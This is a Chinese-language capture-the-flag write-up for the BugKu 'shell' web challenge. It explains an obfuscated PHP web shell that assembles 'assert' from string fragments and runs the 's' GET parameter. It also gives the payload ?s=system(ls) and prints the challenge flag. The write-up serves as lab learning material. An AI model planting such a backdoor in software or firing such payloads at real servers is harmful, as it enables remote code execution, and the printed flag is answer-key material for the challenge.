BugKu-WEB-shell

BugKu-WEB-shell

Mel0ny Lv5

BugKu-WEB-shell

题目

Question
Question

思路

题目中给了思路

1
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) 

可以先看看explode()函数的文档assert()函数的文档
代码的大概意思是,定义poc为一个用#隔开的字符串,定义poc_1为用#隔开的数组,比如说poc_1[0]=a,poc_1[1]=s,以此类推
然后定义poc_2是poc_1数组之间元素拼起来的结果,最后使用poc_2并对从GET方法那里获得的内容进行处理
这串代码看似很复杂,其实就是把poc_2变成assert()函数再去处理GET方法得到的内容,也就是assert($_GET[‘s’])
assert()会把即使是不符合php代码规范的字符串变成php代码去执行,也就是说可以把s定义成各种各样的linux命令执行,比如说

1
?s=system(ls)

Question

也就是在后台执行了ls的命令,此时可以看到flag文件,再打开flaga15808abee46a1d5.txt文件就可以看到flag了

Flag

1
flag{da87a1289abe10c9055a70acefff8879}
  • 标题: BugKu-WEB-shell
  • 作者: Mel0ny
  • 创建于 : 2025-09-02 20:23:48
  • 更新于 : 2025-09-02 22:52:33
  • 链接: https://mel0nyrame.github.io/2025/09/02/BugKu-WEB-shell/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
BugKu-WEB-shell